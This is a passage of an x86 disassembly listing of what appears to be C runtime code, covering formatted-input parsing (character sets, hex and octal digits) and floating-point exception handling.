loc_4209B1 ; --------------------------------------------------------------------------- loc_4208A6: ; CODE XREF: sub_420445+1FDj mov eax, esi sub eax, 70h jz loc_420B54 sub eax, 3 jz loc_4209A2 dec eax dec eax jz loc_420B58 sub eax, 3 jz loc_42068E sub eax, 3 jz short loc_4208F4 loc_4208D0: ; CODE XREF: sub_420445+21Bj ; sub_420445+22Ej movzx eax, byte ptr [ebx] cmp eax, [ebp+var_14] jnz loc_420E1B dec [ebp+var_15] cmp [ebp+var_E], 0 jnz loc_420DAC mov eax, [ebp+var_44] mov [ebp+arg_8], eax jmp loc_420DAC ; --------------------------------------------------------------------------- loc_4208F4: ; CODE XREF: sub_420445+489j cmp [ebp+var_5], 0 jle short loc_4208FE mov [ebp+var_16], 1 loc_4208FE: ; CODE XREF: sub_420445+4B3j mov edi, [ebp+arg_4] inc edi mov [ebp+arg_4], edi cmp byte ptr [edi], 5Eh jnz loc_4209B5 mov eax, edi lea edi, [eax+1] jmp loc_4209B1 ; --------------------------------------------------------------------------- loc_420918: ; CODE XREF: sub_420445+24Fj cmp ebx, 2Bh jnz short loc_42093F loc_42091D: ; CODE XREF: sub_420445+259j dec [ebp+var_C] jnz short loc_42092E cmp [ebp+var_20], 0 jz short loc_42092E mov [ebp+var_F], 1 jmp short loc_42093F ; --------------------------------------------------------------------------- loc_42092E: ; CODE XREF: sub_420445+4DBj ; sub_420445+4E1j push [ebp+arg_0] inc [ebp+var_4] call sub_420EA1 mov ebx, eax pop ecx mov [ebp+var_14], ebx loc_42093F: ; CODE XREF: sub_420445+4D6j ; sub_420445+4E7j cmp ebx, 30h jnz loc_420B8D push [ebp+arg_0] inc [ebp+var_4] call sub_420EA1 mov ebx, eax pop ecx cmp bl, 78h mov [ebp+var_14], ebx jz short loc_42098D cmp bl, 58h jz short loc_42098D cmp esi, 78h mov [ebp+var_1C], 1 jz short loc_420977 push 6Fh loc_420971: ; CODE XREF: sub_420445+55Bj pop esi jmp loc_420B8D ; --------------------------------------------------------------------------- loc_420977: ; CODE XREF: sub_420445+528j push [ebp+arg_0] dec [ebp+var_4] push ebx call sub_420EBB pop ecx pop ecx push 30h pop ebx jmp loc_420B8A ; --------------------------------------------------------------------------- loc_42098D: ; CODE XREF: sub_420445+517j ; sub_420445+51Cj push [ebp+arg_0] inc [ebp+var_4] call sub_420EA1 pop ecx mov ebx, eax mov [ebp+var_14], ebx push 78h jmp short loc_420971 ; --------------------------------------------------------------------------- loc_4209A2: ; CODE XREF: sub_420445+46Fj cmp [ebp+var_5], 0 jle short loc_4209AC mov [ebp+var_16], 1 loc_4209AC: ; CODE XREF: sub_420445+561j mov edi, offset dword_43AB00 loc_4209B1: ; CODE XREF: sub_420445+45Cj ; sub_420445+4CEj or [ebp+var_18], 0FFh loc_4209B5: ; CODE XREF: sub_420445+4C3j push 20h lea eax, [ebp+var_64] push 0 push eax call sub_41BD10 add esp, 0Ch cmp [ebp+var_3C], 7Bh jnz short loc_4209D9 cmp byte ptr [edi], 5Dh jnz short loc_4209D9 mov dl, 5Dh inc edi mov [ebp+var_59], 20h jmp short loc_4209DC ; --------------------------------------------------------------------------- loc_4209D9: ; CODE XREF: sub_420445+584j ; sub_420445+589j mov dl, [ebp+var_35] loc_4209DC: ; CODE XREF: sub_420445+592j ; sub_420445+5E1j ... mov al, [edi] cmp al, 5Dh jz short loc_420A41 inc edi cmp al, 2Dh jnz short loc_420A28 test dl, dl jz short loc_420A28 mov cl, [edi] cmp cl, 5Dh jz short loc_420A28 inc edi cmp dl, cl jnb short loc_4209FB mov al, cl jmp short loc_4209FF ; --------------------------------------------------------------------------- loc_4209FB: ; CODE XREF: sub_420445+5B0j mov al, dl mov dl, cl loc_4209FF: ; CODE XREF: sub_420445+5B4j cmp dl, al ja short loc_420A24 movzx edx, dl movzx esi, al sub esi, edx inc esi loc_420A0C: ; CODE XREF: sub_420445+5DDj mov ecx, edx mov eax, edx and ecx, 7 mov bl, 1 shr eax, 3 shl bl, cl lea eax, [ebp+eax+var_64] or [eax], bl inc edx dec esi jnz short loc_420A0C loc_420A24: ; CODE XREF: sub_420445+5BCj xor dl, dl jmp short loc_4209DC ; --------------------------------------------------------------------------- loc_420A28: ; CODE XREF: sub_420445+5A0j ; sub_420445+5A4j ... movzx ecx, al mov dl, al mov eax, ecx and ecx, 7 mov bl, 1 shr eax, 3 shl bl, cl lea eax, [ebp+eax+var_64] or [eax], bl jmp short loc_4209DC ; --------------------------------------------------------------------------- loc_420A41: ; CODE XREF: sub_420445+59Bj cmp byte ptr [edi], 0 jz loc_420E4B cmp [ebp+var_3C], 7Bh jnz short loc_420A53 mov [ebp+arg_4], edi loc_420A53: ; CODE XREF: sub_420445+609j mov edi, [ebp+arg_0] mov esi, [ebp+var_2C] dec [ebp+var_4] push edi push [ebp+var_14] mov [ebp+var_30], esi call sub_420EBB pop ecx pop ecx loc_420A6A: ; CODE XREF: sub_420445+6BCj ; sub_420445+6C4j cmp [ebp+var_20], 0 jz short loc_420A7E mov eax, [ebp+var_C] dec [ebp+var_C] test eax, eax jz loc_420B1A loc_420A7E: ; CODE XREF: sub_420445+629j inc [ebp+var_4] push edi call sub_420EA1 cmp eax, 0FFFFFFFFh pop ecx mov [ebp+var_14], eax jz short loc_420B0E mov ecx, eax push 1 and ecx, 7 pop edx movsx ebx, [ebp+var_18] shl edx, cl mov ecx, eax sar ecx, 3 movsx ecx, [ebp+ecx+var_64] xor ecx, ebx test edx, ecx jz short loc_420B0E cmp [ebp+var_E], 0 jnz short loc_420B06 cmp [ebp+var_16], 0 jz short loc_420AFB mov ecx, off_43A680 mov [ebp+var_38], al movzx eax, al test byte ptr [ecx+eax*2+1], 80h jz short loc_420ADA inc [ebp+var_4] push edi call sub_420EA1 pop ecx mov [ebp+var_37], al loc_420ADA: ; CODE XREF: sub_420445+686j push dword_43A88C lea eax, [ebp+var_38] push eax lea eax, [ebp+var_3E] push eax call sub_423DCB mov ax, [ebp+var_3E] add esp, 0Ch mov [esi], ax inc esi inc esi jmp short loc_420AFE ; --------------------------------------------------------------------------- loc_420AFB: ; CODE XREF: sub_420445+673j mov [esi], al inc esi loc_420AFE: ; CODE XREF: sub_420445+6B4j mov [ebp+var_2C], esi jmp loc_420A6A ; --------------------------------------------------------------------------- loc_420B06: ; CODE XREF: sub_420445+66Dj inc [ebp+var_30] jmp loc_420A6A ; --------------------------------------------------------------------------- loc_420B0E: ; CODE XREF: sub_420445+649j ; sub_420445+667j dec [ebp+var_4] push edi push eax call sub_420EBB pop ecx pop ecx loc_420B1A: ; CODE XREF: sub_420445+633j cmp [ebp+var_30], esi jz loc_420E4B cmp [ebp+var_E], 0 jnz loc_420DAC inc [ebp+var_34] cmp [ebp+var_3C], 63h jz loc_420DAC cmp [ebp+var_16], 0 mov eax, [ebp+var_2C] jz short loc_420B4C and word ptr [eax], 0 jmp loc_420DAC ; --------------------------------------------------------------------------- loc_420B4C: ; CODE XREF: sub_420445+6FCj and byte ptr [eax], 0 jmp loc_420DAC ; --------------------------------------------------------------------------- loc_420B54: ; CODE XREF: sub_420445+466j mov [ebp+var_D], 1 loc_420B58: ; CODE XREF: sub_420445+203j ; sub_420445+215j ... mov ebx, [ebp+var_14] cmp ebx, 2Dh jnz short loc_420B66 mov [ebp+var_17], 1 jmp short loc_420B6B ; --------------------------------------------------------------------------- loc_420B66: ; CODE XREF: sub_420445+719j cmp ebx, 2Bh jnz short loc_420B8D loc_420B6B: ; CODE XREF: sub_420445+71Fj dec [ebp+var_C] jnz short loc_420B7C cmp [ebp+var_20], 0 jz short loc_420B7C mov [ebp+var_F], 1 jmp short loc_420B8D ; --------------------------------------------------------------------------- loc_420B7C: ; CODE XREF: sub_420445+729j ; sub_420445+72Fj push [ebp+arg_0] inc [ebp+var_4] call sub_420EA1 pop ecx mov ebx, eax loc_420B8A: ; CODE XREF: sub_420445+543j mov [ebp+var_14], ebx loc_420B8D: ; CODE XREF: sub_420445+4FDj ; sub_420445+52Dj ... cmp [ebp+var_30], 0 jz loc_420CA6 cmp [ebp+var_F], 0 jnz loc_420C84 loc_420BA1: ; CODE XREF: sub_420445+82Cj cmp esi, 78h jnz short loc_420BF5 cmp dword_43A88C, 1 jle short loc_420BBE push 80h push ebx call sub_41F44A pop ecx pop ecx jmp short loc_420BCB ; --------------------------------------------------------------------------- loc_420BBE: ; CODE XREF: sub_420445+768j mov eax, off_43A680 mov al, [eax+ebx*2] and eax, 80h loc_420BCB: ; CODE XREF: sub_420445+777j test eax, eax jz loc_420C76 mov eax, [ebp+var_28] mov edx, [ebp+var_24] push 4 pop ecx call sub_423EA0 push ebx mov [ebp+var_28], eax mov [ebp+var_24], edx call sub_420E6A mov ebx, eax pop ecx mov [ebp+var_14], ebx jmp short loc_420C48 ; --------------------------------------------------------------------------- loc_420BF5: ; CODE XREF: sub_420445+75Fj cmp dword_43A88C, 1 jle short loc_420C0A push 4 push ebx call sub_41F44A pop ecx pop ecx jmp short loc_420C15 ; --------------------------------------------------------------------------- loc_420C0A: ; CODE XREF: sub_420445+7B7j mov eax, off_43A680 mov al, [eax+ebx*2] and eax, 4 loc_420C15: ; CODE XREF: sub_420445+7C3j test eax, eax jz short loc_420C76 cmp esi, 6Fh jnz short loc_420C33 cmp ebx, 38h jge short loc_420C76 mov eax, [ebp+var_28] mov edx, [ebp+var_24] push 3 pop ecx call sub_423EA0 jmp short loc_420C42 ; --------------------------------------------------------------------------- loc_420C33: ; CODE XREF: sub_420445+7D7j push 0 push 0Ah push [ebp+var_24] push [ebp+var_28] call sub_41DA20 loc_420C42: ; CODE XREF: sub_420445+7ECj mov [ebp+var_28], eax mov [ebp+var_24], edx loc_420C48: ; CODE XREF: sub_420445+7AEj inc [ebp+var_1C] lea eax, [ebx-30h] cdq add [ebp+var_28], eax adc [ebp+var_24], edx cmp [ebp+var_20], 0 jz short loc_420C60 dec [ebp+var_C] jz short loc_420C84 loc_420C60: ; CODE XREF: sub_420445+814j push [ebp+arg_0] inc [ebp+var_4] call sub_420EA1 mov ebx, eax pop ecx mov [ebp+var_14], ebx jmp loc_420BA1 ; --------------------------------------------------------------------------- loc_420C76: ; CODE XREF: sub_420445+788j ; sub_420445+7D2j ... push [ebp+arg_0] dec [ebp+var_4] push ebx call sub_420EBB pop ecx pop ecx loc_420C84: ; CODE XREF: sub_420445+756j ; sub_420445+819j cmp [ebp+var_17], 0 jz loc_420D6A mov eax, [ebp+var_28] mov ecx, [ebp+var_24] neg eax adc ecx, 0 mov [ebp+var_28], eax neg ecx mov [ebp+var_24], ecx jmp loc_420D6A ; --------------------------------------------------------------------------- loc_420CA6: ; CODE XREF: sub_420445+74Cj cmp [ebp+var_F], 0 jnz loc_420D62 loc_420CB0: ; CODE XREF: sub_420445+90Aj cmp esi, 78h jz short loc_420CF4 cmp esi, 70h jz short loc_420CF4 cmp dword_43A88C, 1 jle short loc_420CCF push 4 push ebx call sub_41F44A pop ecx pop ecx jmp short loc_420CDA ; --------------------------------------------------------------------------- loc_420CCF: ; CODE XREF: sub_420445+87Cj mov eax, off_43A680 mov al, [eax+ebx*2] and eax, 4 loc_420CDA: ; CODE XREF: sub_420445+888j test eax, eax jz short loc_420D54 cmp esi, 6Fh jnz short loc_420CED cmp ebx, 38h jge short loc_420D54 shl edi, 3 jmp short loc_420D2C ; --------------------------------------------------------------------------- loc_420CED: ; CODE XREF: sub_420445+89Cj lea edi, [edi+edi*4] shl edi, 1 jmp short loc_420D2C ; --------------------------------------------------------------------------- loc_420CF4: ; CODE XREF: sub_420445+86Ej ; sub_420445+873j cmp dword_43A88C, 1 jle short loc_420D0C push 80h push ebx call sub_41F44A pop ecx pop ecx jmp short loc_420D19 ; --------------------------------------------------------------------------- loc_420D0C: ; CODE XREF: sub_420445+8B6j mov eax, off_43A680 mov al, [eax+ebx*2] and eax, 80h loc_420D19: ; CODE XREF: sub_420445+8C5j test eax, eax jz short loc_420D54 push ebx shl edi, 4 call sub_420E6A mov ebx, eax pop ecx mov [ebp+var_14], ebx loc_420D2C: ; CODE XREF: sub_420445+8A6j ; sub_420445+8ADj inc [ebp+var_1C] cmp [ebp+var_20], 0 lea edi, [edi+ebx-30h] jz short loc_420D3E dec [ebp+var_C] jz short loc_420D62 loc_420D3E: ; CODE XREF: sub_420445+8F2j push [ebp+arg_0] inc [ebp+var_4] call sub_420EA1 mov ebx, eax pop ecx mov [ebp+var_14], ebx jmp loc_420CB0 ; --------------------------------------------------------------------------- loc_420D54: ; CODE XREF: sub_420445+897j ; sub_420445+8A1j ... push [ebp+arg_0] dec [ebp+var_4] push ebx call sub_420EBB pop ecx pop ecx loc_420D62: ; CODE XREF: sub_420445+865j ; sub_420445+8F7j cmp [ebp+var_17], 0 jz short loc_420D6A neg edi loc_420D6A: ; CODE XREF: sub_420445+843j ; sub_420445+85Cj ... cmp esi, 46h jnz short loc_420D73 and [ebp+var_1C], 0 loc_420D73: ; CODE XREF: sub_420445+928j cmp [ebp+var_1C], 0 jz loc_420E4B cmp [ebp+var_E], 0 jnz short loc_420DAC inc [ebp+var_34] loc_420D86: ; CODE XREF: sub_420445+23Bj cmp [ebp+var_30], 0 jz short loc_420D9C mov eax, [ebp+var_2C] mov ecx, [ebp+var_28] mov [eax], ecx mov ecx, [ebp+var_24] mov [eax+4], ecx jmp short loc_420DAC ; --------------------------------------------------------------------------- loc_420D9C: ; CODE XREF: sub_420445+945j cmp [ebp+var_D], 0 mov eax, [ebp+var_2C] jz short loc_420DA9 mov [eax], edi jmp short loc_420DAC ; --------------------------------------------------------------------------- loc_420DA9: ; CODE XREF: sub_420445+95Ej mov [eax], di loc_420DAC: ; CODE XREF: sub_420445+241j ; sub_420445+414j ... inc [ebp+var_15] inc [ebp+arg_4] mov esi, [ebp+arg_4] jmp short loc_420DF9 ; --------------------------------------------------------------------------- loc_420DB7: ; CODE XREF: sub_420445+93j inc [ebp+var_4] push edi call sub_420EA1 mov ebx, eax pop ecx movzx eax, byte ptr [esi] inc esi cmp eax, ebx mov [ebp+var_14], ebx mov [ebp+arg_4], esi jnz short loc_420E26 mov ecx, off_43A680 movzx eax, bl test byte ptr [ecx+eax*2+1], 80h jz short loc_420DF9 inc [ebp+var_4] push edi call sub_420EA1 pop ecx movzx ecx, byte ptr [esi] inc esi cmp ecx, eax mov [ebp+arg_4], esi jnz short loc_420E34 dec [ebp+var_4] loc_420DF9: ; CODE XREF: sub_420445+970j ; sub_420445+99Aj cmp [ebp+var_14], 0FFFFFFFFh jnz short loc_420E0F cmp byte ptr [esi], 25h jnz short loc_420E51 mov eax, [ebp+arg_4] cmp byte ptr [eax+1], 6Eh jnz short loc_420E51 mov esi, eax loc_420E0F: ; CODE XREF: sub_420445+9B8j mov al, [esi] test al, al jnz loc_42046F jmp short loc_420E4B ; --------------------------------------------------------------------------- loc_420E1B: ; CODE XREF: sub_420445+1F4j ; sub_420445+491j push [ebp+arg_0] dec [ebp+var_4] push [ebp+var_14] jmp short loc_420E2B ; --------------------------------------------------------------------------- loc_420E26: ; CODE XREF: sub_420445+98Aj dec [ebp+var_4] push edi push ebx loc_420E2B: ; CODE XREF: sub_420445+9DFj call sub_420EBB pop ecx pop ecx jmp short loc_420E4B ; --------------------------------------------------------------------------- loc_420E34: ; CODE XREF: sub_420445+9AFj dec [ebp+var_4] push edi push eax call sub_420EBB dec [ebp+var_4] push edi push ebx call sub_420EBB add esp, 10h loc_420E4B: ; CODE XREF: sub_420445+1Fj ; sub_420445+40Aj ... cmp [ebp+var_14], 0FFFFFFFFh jnz short loc_420E62 loc_420E51: ; CODE XREF: sub_420445+9BDj ; sub_420445+9C6j mov eax, [ebp+var_34] test eax, eax jnz short loc_420E65 cmp [ebp+var_15], al jnz short loc_420E65 or eax, 0FFFFFFFFh jmp short loc_420E65 ; --------------------------------------------------------------------------- loc_420E62: ; CODE XREF: sub_420445+A0Aj mov eax, [ebp+var_34] loc_420E65: ; CODE XREF: sub_420445+A11j ; sub_420445+A16j ... pop edi pop esi pop ebx leave retn sub_420445 endp ; =============== S U B R O U T I N E ======================================= sub_420E6A proc near ; CODE XREF: sub_420445+7A3p ; sub_420445+8DCp arg_0 = dword ptr 4 cmp dword_43A88C, 1 push esi jle short loc_420E84 mov esi, [esp+4+arg_0] push 4 push esi call sub_41F44A pop ecx pop ecx jmp short loc_420E93 ; --------------------------------------------------------------------------- loc_420E84: ; CODE XREF: sub_420E6A+8j mov esi, [esp+4+arg_0] mov eax, off_43A680 mov al, [eax+esi*2] and eax, 4 loc_420E93: ; CODE XREF: sub_420E6A+18j test eax, eax jnz short loc_420E9D and esi, 0FFFFFFDFh sub esi, 7 loc_420E9D: ; CODE XREF: sub_420E6A+2Bj mov eax, esi pop esi retn sub_420E6A endp ; =============== S U B R O U T I N E ======================================= sub_420EA1 proc near ; CODE XREF: sub_420445+1E1p ; sub_420445+289p ... arg_0 = dword ptr 4 mov edx, [esp+arg_0] dec dword ptr [edx+4] js short loc_420EB3 mov ecx, [edx] movzx eax, byte ptr [ecx] inc ecx mov [edx], ecx retn ; --------------------------------------------------------------------------- loc_420EB3: ; CODE XREF: sub_420EA1+7j push edx call sub_41EF78 pop ecx retn sub_420EA1 endp ; =============== S U B R O U T I N E ======================================= sub_420EBB proc near ; CODE XREF: sub_420445+6Bp ; sub_420445+3FFp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 cmp [esp+arg_0], 0FFFFFFFFh jz short locret_420ED1 push [esp+arg_4] push [esp+4+arg_0] call sub_423EBF pop ecx pop ecx locret_420ED1: ; CODE XREF: sub_420EBB+5j retn sub_420EBB endp ; =============== S U B R O U T I N E ======================================= sub_420ED2 proc near ; CODE XREF: sub_420445+63p ; sub_420445+1D3p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi mov esi, [esp+4+arg_0] push edi loc_420ED8: ; CODE XREF: sub_420ED2+1Dj push [esp+8+arg_4] inc dword ptr [esi] call sub_420EA1 mov edi, eax push edi call sub_41DE10 pop ecx test eax, eax pop ecx jnz short loc_420ED8 mov eax, edi pop edi pop esi retn sub_420ED2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __fastcall sub_420EF6(int,int,double,int) sub_420EF6 proc near ; CODE XREF: sub_41CDE5+51p ; sub_41CF2B+51p var_1C = qword ptr -1Ch var_14 = qword ptr -14h var_C = qword ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_C = dword ptr 14h push ebp mov ebp, esp cmp dword_43B000, 0 jnz short loc_420F2B push [ebp+arg_C] ; int fld qword ptr [ebp+arg_4] push ecx push ecx ; double fstp [esp+0Ch+var_C] push ecx ; int push ecx ; int fldz fstp [esp+14h+var_14] fld qword ptr [ebp+arg_4] push ecx ; int push ecx ; int fstp [esp+1Ch+var_1C] push [ebp+arg_0] ; int push 1 ; int call sub_4214AB add esp, 24h pop ebp retn ; --------------------------------------------------------------------------- loc_420F2B: ; CODE XREF: sub_420EF6+Aj push 0FFFFh mov dword_4D9714, 21h push [ebp+arg_C] call sub_42171E fld qword ptr [ebp+arg_4] pop ecx pop ecx pop ebp retn sub_420EF6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_420F49(int,int,double,double,int) sub_420F49 proc near ; CODE XREF: sub_41CDE5:loc_41CEA8p ; sub_41CF2B:loc_41CFEEp var_74 = qword ptr -74h var_6C = qword ptr -6Ch var_64 = qword ptr -64h var_5C = dword ptr -5Ch var_58 = byte ptr -58h var_20 = dword ptr -20h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = qword ptr 10h arg_10 = qword ptr 18h arg_18 = dword ptr 20h push ebp mov ebp, esp sub esp, 58h push [ebp+arg_18] lea eax, [ebp+arg_10] push eax push [ebp+arg_0] call sub_421294 add esp, 0Ch test eax, eax jnz short loc_420F87 lea eax, [ebp+arg_10] and [ebp+var_20], 0FFFFFFFEh push eax lea eax, [ebp+arg_8] push eax lea eax, [ebp+arg_18] push [ebp+arg_4] push [ebp+arg_0] push eax lea eax, [ebp+var_58] push eax call sub_420FE1 add esp, 18h loc_420F87: ; CODE XREF: sub_420F49+1Aj push [ebp+arg_0] call sub_42157E cmp dword_43B000, 0 pop ecx jnz short loc_420FC5 test eax, eax jz short loc_420FC5 push [ebp+arg_18] ; int fld [ebp+arg_10] push ecx push ecx ; double fstp [esp+64h+var_64] push ecx ; int push ecx ; int fldz fstp [esp+6Ch+var_6C] fld [ebp+arg_8] push ecx ; int push ecx ; int fstp [esp+74h+var_74] push [ebp+arg_4] ; int push eax ; int call sub_4214AB add esp, 24h leave retn ; --------------------------------------------------------------------------- loc_420FC5: ; CODE XREF: sub_420F49+4Ej ; sub_420F49+52j push eax call sub_421533 mov [esp+5Ch+var_5C], 0FFFFh push [ebp+arg_18] call sub_42171E fld [ebp+arg_10] pop ecx pop ecx leave retn sub_420F49 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_420FE1 proc near ; CODE XREF: sub_420F49+36p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp mov ecx, [ebp+arg_0] xor eax, eax push ebx push esi mov [ecx+4], eax mov ecx, [ebp+arg_0] push edi push 1 mov [ecx+8], eax mov ecx, [ebp+arg_0] pop ebx mov [ecx+0Ch], eax mov cl, byte ptr [ebp+arg_8] test cl, 10h jz short loc_421013 mov eax, [ebp+arg_0] mov [ebp+arg_8], 0C000008Fh or [eax+4], ebx loc_421013: ; CODE XREF: sub_420FE1+23j test cl, 2 jz short loc_421026 mov eax, [ebp+arg_0] mov [ebp+arg_8], 0C0000093h or dword ptr [eax+4], 2 loc_421026: ; CODE XREF: sub_420FE1+35j test cl, bl jz short loc_421038 mov eax, [ebp+arg_0] mov [ebp+arg_8], 0C0000091h or dword ptr [eax+4], 4 loc_421038: ; CODE XREF: sub_420FE1+47j test cl, 4 jz short loc_42104B mov eax, [ebp+arg_0] mov [ebp+arg_8], 0C000008Eh or dword ptr [eax+4], 8 loc_42104B: ; CODE XREF: sub_420FE1+5Aj test cl, 8 jz short loc_42105E mov eax, [ebp+arg_0] mov [ebp+arg_8], 0C0000090h or dword ptr [eax+4], 10h loc_42105E: ; CODE XREF: sub_420FE1+6Dj mov esi, [ebp+arg_4] mov eax, [ebp+arg_0] push 2 mov ecx, [esi] mov edx, [eax+8] not ecx and ecx, ebx and edx, 0FFFFFFEFh shl ecx, 4 or ecx, edx pop edi mov [eax+8], ecx mov ecx, [esi] mov eax, [ebp+arg_0] not ecx mov edx, [eax+8] and ecx, 4 shl ecx, 1 and edx, 0FFFFFFF7h or ecx, edx mov [eax+8], ecx mov ecx, [esi] mov eax, [ebp+arg_0] not ecx mov edx, [eax+8] shr ecx, 1 and ecx, 4 and edx, 0FFFFFFFBh or ecx, edx mov [eax+8], ecx mov ecx, [esi] mov eax, [ebp+arg_0] not ecx mov edx, [eax+8] shr ecx, 3 and ecx, edi and edx, 0FFFFFFFDh or ecx, edx mov [eax+8], ecx mov ecx, [esi] mov eax, [ebp+arg_0] not ecx mov edx, [eax+8] shr ecx, 5 and ecx, ebx and edx, 0FFFFFFFEh or ecx, edx mov [eax+8], ecx call sub_421701 test al, bl jz short loc_4210E7 mov ecx, [ebp+arg_0] or dword ptr [ecx+0Ch], 10h loc_4210E7: ; CODE XREF: sub_420FE1+FDj test al, 4 jz short loc_4210F2 mov ecx, [ebp+arg_0] or dword ptr [ecx+0Ch], 8 loc_4210F2: ; CODE XREF: sub_420FE1+108j test al, 8 jz short loc_4210FD mov ecx, [ebp+arg_0] or dword ptr [ecx+0Ch], 4 loc_4210FD: ; CODE XREF: sub_420FE1+113j test al, 10h jz short loc_421107 mov ecx, [ebp+arg_0] or [ecx+0Ch], edi loc_421107: ; CODE XREF: sub_420FE1+11Ej test al, 20h jz short loc_421111 mov eax, [ebp+arg_0] or [eax+0Ch], ebx loc_421111: ; CODE XREF: sub_420FE1+128j mov eax, [esi] mov ecx, 0C00h and eax, ecx jz short loc_421150 cmp eax, 400h jz short loc_421142 cmp eax, 800h jz short loc_421136 cmp eax, ecx jnz short loc_421156 mov eax, [ebp+arg_0] or dword ptr [eax], 3 jmp short loc_421156 ; --------------------------------------------------------------------------- loc_421136: ; CODE XREF: sub_420FE1+147j mov eax, [ebp+arg_0] mov ecx, [eax] and ecx, 0FFFFFFFEh or ecx, edi jmp short loc_42114C ; --------------------------------------------------------------------------- loc_421142: ; CODE XREF: sub_420FE1+140j mov eax, [ebp+arg_0] mov ecx, [eax] and ecx, 0FFFFFFFDh or ecx, ebx loc_42114C: ; CODE XREF: sub_420FE1+15Fj mov [eax], ecx jmp short loc_421156 ; --------------------------------------------------------------------------- loc_421150: ; CODE XREF: sub_420FE1+139j mov eax, [ebp+arg_0] and dword ptr [eax], 0FFFFFFFCh loc_421156: ; CODE XREF: sub_420FE1+14Bj ; sub_420FE1+153j ... mov eax, [esi] mov ecx, 300h and eax, ecx jz short loc_421181 cmp eax, 200h jz short loc_421174 cmp eax, ecx jnz short loc_42118E mov eax, [ebp+arg_0] and dword ptr [eax], 0FFFFFFE3h jmp short loc_42118E ; --------------------------------------------------------------------------- loc_421174: ; CODE XREF: sub_420FE1+185j mov eax, [ebp+arg_0] mov ecx, [eax] and ecx, 0FFFFFFE7h or ecx, 4 jmp short loc_42118C ; --------------------------------------------------------------------------- loc_421181: ; CODE XREF: sub_420FE1+17Ej mov eax, [ebp+arg_0] mov ecx, [eax] and ecx, 0FFFFFFEBh or ecx, 8 loc_42118C: ; CODE XREF: sub_420FE1+19Ej mov [eax], ecx loc_42118E: ; CODE XREF: sub_420FE1+189j ; sub_420FE1+191j mov eax, [ebp+arg_0] mov ecx, [ebp+arg_C] and ecx, 0FFFh mov edx, [eax] shl ecx, 5 and edx, 0FFFE001Fh or ecx, edx mov [eax], ecx mov eax, [ebp+arg_0] or [eax+20h], ebx mov eax, [ebp+arg_0] mov ecx, [eax+20h] and ecx, 0FFFFFFE3h or ecx, edi mov [eax+20h], ecx mov eax, [ebp+arg_10] fld qword ptr [eax] mov eax, [ebp+arg_0] fstp qword ptr [eax+10h] mov eax, [ebp+arg_0] or [eax+50h], ebx mov eax, [ebp+arg_0] mov ecx, [eax+50h] and ecx, 0FFFFFFE3h or ecx, edi mov edi, [ebp+arg_14] mov [eax+50h], ecx mov eax, [ebp+arg_0] fld qword ptr [edi] fstp qword ptr [eax+40h] call sub_42170F lea eax, [ebp+arg_0] push eax push ebx push 0 push [ebp+arg_8] nop call near ptr 264135Bh mov eax, [ebp+arg_0] test byte ptr [eax+8], 10h jz short loc_421208 and dword ptr [esi], 0FFFFFFFEh loc_421208: ; CODE XREF: sub_420FE1+222j test byte ptr [eax+8], 8 jz short loc_421211 and dword ptr [esi], 0FFFFFFFBh loc_421211: ; CODE XREF: sub_420FE1+22Bj test byte ptr [eax+8], 4 jz short loc_42121A and dword ptr [esi], 0FFFFFFF7h loc_42121A: ; CODE XREF: sub_420FE1+234j test byte ptr [eax+8], 2 jz short loc_421223 and dword ptr [esi], 0FFFFFFEFh loc_421223: ; CODE XREF: sub_420FE1+23Dj test [eax+8], bl jz short loc_42122B and dword ptr [esi], 0FFFFFFDFh loc_42122B: ; CODE XREF: sub_420FE1+245j mov ecx, [eax] mov edx, 0FFFFF3FFh and ecx, 3 sub ecx, 0 jz short loc_42125F dec ecx jz short loc_421253 dec ecx jz short loc_421249 dec ecx jnz short loc_421261 or byte ptr [esi+1], 0Ch jmp short loc_421261 ; --------------------------------------------------------------------------- loc_421249: ; CODE XREF: sub_420FE1+25Dj mov ecx, [esi] and ch, 0FBh or ch, 8 jmp short loc_42125B ; --------------------------------------------------------------------------- loc_421253: ; CODE XREF: sub_420FE1+25Aj mov ecx, [esi] and ch, 0F7h or ch, 4 loc_42125B: ; CODE XREF: sub_420FE1+270j mov [esi], ecx jmp short loc_421261 ; --------------------------------------------------------------------------- loc_42125F: ; CODE XREF: sub_420FE1+257j and [esi], edx loc_421261: ; CODE XREF: sub_420FE1+260j ; sub_420FE1+266j ... mov ecx, [eax] shr ecx, 2 and ecx, 7 sub ecx, 0 jz short loc_421281 dec ecx jz short loc_421278 dec ecx jnz short loc_42128A and [esi], edx jmp short loc_42128A ; --------------------------------------------------------------------------- loc_421278: ; CODE XREF: sub_420FE1+28Ej mov ecx, [esi] and ecx, edx or ch, 2 jmp short loc_421288 ; --------------------------------------------------------------------------- loc_421281: ; CODE XREF: sub_420FE1+28Bj mov ecx, [esi] and ecx, edx or ch, 3 loc_421288: ; CODE XREF: sub_420FE1+29Ej mov [esi], ecx loc_42128A: ; CODE XREF: sub_420FE1+291j ; sub_420FE1+295j fld qword ptr [eax+40h] fstp qword ptr [edi] pop edi pop esi pop ebx pop ebp retn sub_420FE1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_421294 proc near ; CODE XREF: sub_420F49+10p var_24 = qword ptr -24h var_C = qword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 0Ch mov eax, [ebp+arg_0] push ebx push edi mov edi, eax and edi, 1Fh push 1 test al, 8 pop ebx jz short loc_4212BF test byte ptr [ebp+arg_8], bl jz short loc_4212BF push ebx call sub_421741 pop ecx and edi, 0FFFFFFF7h jmp loc_421489 ; --------------------------------------------------------------------------- loc_4212BF: ; CODE XREF: sub_421294+15j ; sub_421294+1Aj test al, 4 jz short loc_4212D9 test byte ptr [ebp+arg_8], 4 jz short loc_4212D9 push 4 call sub_421741 pop ecx and edi, 0FFFFFFFBh jmp loc_421489 ; 